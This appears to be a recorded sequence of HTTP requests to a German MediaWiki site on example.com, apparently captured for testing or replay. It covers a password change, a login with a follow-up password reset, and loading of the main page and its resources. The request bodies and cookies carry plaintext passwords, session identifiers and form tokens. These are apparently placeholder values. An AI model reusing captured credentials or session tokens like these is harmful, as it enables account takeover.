{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1k28j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 143", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "action=validatepassword&format=json&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
{"method": "POST", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Content-Length: 333", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "title=Spezial%3AAnmeldeinformationen+%C3%A4ndern%2FMediaWiki%5CAuth%5CPasswordAuthenticationRequest&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&retype=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wpusername=&wpEditToken=5568a8e4b9211e69614b1ae1194c7f016af3a63b%2B%5C&wpAuthToken=629fad74e2a9259896c7a10ad3c323246af3a63b%2B%5C&authAction=change"}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=12dem", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
{"method": "GET", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jkzyg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 219", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=Beispielnutzer&wpPassword=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wploginattempt=Anmelden&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=11794fbe451c06fec8d46bece48fabdb6af3a641%2B%5C"}
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=&wpPassword=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&retype=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&wploginattempt=Mit+der+Anmeldung+fortfahren&wpEditToken=%2B%5C&authAction=login-continue&force=&wpLoginToken=f10651d983c774ff6157b6727ba949c66af3a642%2B%5C"}
{"method": "GET", "target": "/index.php/Hauptseite", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=2osrg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
